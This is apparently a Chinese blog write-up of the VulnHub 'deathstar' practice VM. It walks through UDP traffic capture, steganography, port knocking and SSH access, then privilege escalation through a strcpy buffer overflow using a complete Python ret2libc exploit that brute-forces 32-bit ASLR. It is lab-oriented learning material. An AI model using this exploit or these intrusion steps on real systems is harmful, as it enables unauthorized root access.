Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5
1801 字
9 分钟
vulnhub靶机-deathstar(无端口突破+Ret2libc+绕过ASLR)

vulnhub靶机-deathstar(无端口突破+Ret2libc+绕过ASLR)#

声明#

  1. 本文为个人跟随b站up主红队笔记学习vulnhub的deathstar靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
  2. 该靶机下载地址为’https://vulnhub.com/entry/death-star-1,477/’
  3. 靶机背景为星球大战电影中的超级武器——死星,很多部分涉及电影内容,但有提示可通过在网络查询获取,对靶机渗透没有多大影响,感兴趣可以了解更多背景故事。

渗透流程#

  1. 在vmware部署靶机并开机后,打开kali对靶机进行信息收集,使用nmap执行nmap -sn 192.168.130.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.130.136为靶机。(192.168.130.128为我的kali虚拟机的地址)并进行端口发现,执行nmap --min-rate 10000 -p- 192.168.130.136,并未发现开放TCP端口。 scan&ports
  2. 对UDP端口开放情况进行探测,可能开放68端口DHCP服务(介绍见文末补充1),没有太大价值。 UDP
  3. 使用tshark(wireshark的命令行版本)捕捉包,保存为owo.pcap,到四个差不多可以结束。 tshark
  4. data段存在信息,但是读起来比较费劲,我们提取出来。 data
  5. 得到以下提示,一个可能有额外意义的数字1440,一个凭据DS-1@OBS。 tips
  6. 由于我们UDP仅仅扫描了top100,考虑这个1440是否暗示端口号,进行扫描,确实是开放的。 1440
  7. 尝试用nc连接该UDP端口,无法连接。 nc
  8. 尝试将凭据DS-1@OBS通过echo访问该端口,屏幕回显了很大一片字符。 echo
  9. | tee 存储文件名将回显内容存储下来。 tee
  10. 发现是jpeg图像格式,改后缀并打开,是该死星蓝图,右下角的代码197719801983很有价值,将其记录下来。 jpg
  11. 考虑隐写,使用steghide提取图片,尝试空密码,197719801983,和DS-1@OBS,最后一个成功提取到txt文件。 steghide
  12. 提示让将unlock code 每次3字符发给10110端口,此为端口敲门技术的方法。 knock
  13. 下载konckd组件,按照如图语法进行端口敲门,-V显示执行过程,该端口打开,通过扫描发现是ssh服务。 knock
  14. 通过root先尝试连接,发现banner部分确有提示,给出用户为erso,密码提示为其妻子firstname+去世年份(按照BBY)。 search
  15. 去网上搜索相关背景内容,找到介绍,拼凑出密码。 kw
  16. 密码为lyra13,成功连接,拿到初始立足点。 shell

提权过程#

  1. 收集信息,txt文件给出最终目标是拿到root,读取文件,我们继续尝试提权。 search
  2. 查看sudo权限,特权文件,发现一个叫dartVader不符合系统文件命名规范,可能是可利用文件。 dartVader
  3. 执行给出一段话,像是其它语言,前去翻译。 execute tran
  4. 通过strings从二进制文件中提取可打印字符串,该文件使用动态链接库,使用函数有strcpy,errx等,考虑可能有缓冲区溢出可能。 strings
  5. 通过scp(secure copy)将文件通过ssh将文件复制到kali虚拟机本地。 scp
  6. 先安装gdb gdb-peda,使用gdb调试程序,指定用peda.py调试,使用checksec,查看如下配置为: CANARY(栈溢出哨兵), FORTIFY(函数加强检查), NX(堆栈禁止执行), PIE(位置无关可执行文件), RELRO(重定位只读)checksec
  7. 将汇编可以转化为部分示例C代码(仅供参考),可见strcpy处理不严谨,可能有缓冲区溢出漏洞。
int main(int argc, char *argv[]) {
char buffer[64];
// 从 sub esp,0x50 和 lea eax,[esp+0x10] 推算
if (argc == 1) {
errx(1, "Usage: ...");
// 地址 0x8048520 是错误信息字符串
}
// argv[1] 直接拷贝到 buffer,没有长度检查
strcpy(buffer, argv[1]);
return 0;
}

main 8. 尝试写入字符串,写入100个字符a时程序出错,且GNU_STACK为RW无法执行。 overflow 9. 用scanelf检查目标程序,权限没有X,notexecute安全机制一定存在。 notexecute 10. 验证ASLR机制,ldd /bin/dartVader(查看可执行文件或共享库所依赖的动态链接库),看到动态链接库的地址每次都在变。 ASLR 11. 通过readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "(system|exit)@@"从libc的符号表中查找system和exit函数的偏移地址(筛选包含system或exit且以@@结尾的行(@@ 表示默认版本)) readelf 12. 生成字符串测定偏移值为76,并且验证测定值正确。 rooted 13. 再生成一下最新的libc库地址(不过没啥必要),编写python程序。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from struct import pack
from subprocess import call
offset = b"A" * 76 ##填充 76 个字节的 'A',用来覆盖到返回地址的位置
libc = 0xb7596000
system = pack("<I", libc + 0x00040310)
exit = pack("<I", libc + 0x00033260)
sh = pack("<I", libc + 0x162d4c)
buffer = offset + system + exit + sh
app = b"/bin/dartVader"
for i in range(1024):
print("Attempt %d" % i)
ret = call([app, buffer])
if ret == 0:
print("Exploit Successful!")
break
else:
print("Mission Failed")

rooted 14. 执行程序,稍作等待后拿到root。 rooted

其它补充与收获总结#

  1. UDP 68端口主要用于动态主机配置协议(DHCP)。DHCP是一种网络管理协议,用于自动分配IP地址和其他网络配置参数,使设备能够在IP网络中进行通信,考虑到虚拟机的网络环境,这个端口的开放没直接有效的利用价值。
  2. strcpy函数:
  • 来源:标准 C 库函数(<string.h>)
  • 作用:将源字符串复制到目标缓冲区,不做长度检查。
  • 风险:如果src长度超过dest分配的空间,就会发生缓冲区溢出,常见于二进制漏洞利用(栈溢出、ROP 等)。
  • 在逆向/CTF 中的意义:看到strcpy意味着可能存在栈溢出漏洞。
  1. 对于程序使用checksec可以查看编译时启用或禁用的安全策略,对于checksec的输出结果可参考’https://zhuanlan.zhihu.com/p/584502713’,对于本次涉及程序,仅开启NX,意味着不能在栈或堆上执行自己注入的代码,必须改用ROP或ret2libc来调用现有函数完成攻击。(如本次ret2libc的做法:不在栈上执行代码,而是覆盖返回地址为system函数,让程序自己调用libc中的system(“/bin/sh”))。
  2. 关于利用python程序,由于本程序为32位程序,32位的ASLR随机化范围有限,可以通过碰撞的方式,构造buffer,若基地址刚好正确,则会返回/bin/sh,可以不断尝试运行程序,直到拿到shell,对于64位则很难暴力破解出来,可以通过泄露基地址动态计算,大致原理可以参考 ‘https://blog.csdn.net/qq_35544379/article/details/105156252’
  3. 还有个很有趣的端口敲门技术,一般用于保护隐藏端口,配置好敲门协议的服务器存在一个守护进程,会记录每个IP地址的端口访问历史,当该ip按顺序访问几个特定端口,服务器会临时修改防火墙开放特定端口,想实操的朋友们可以参考’https://cloud.tencent.com/developer/article/2572641’,有详细的原理和配置教程。
vulnhub靶机-deathstar(无端口突破+Ret2libc+绕过ASLR)
http://124.70.202.140/posts/post-24/24/
作者
Ne+N3k_O
发布于
2026-04-13
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时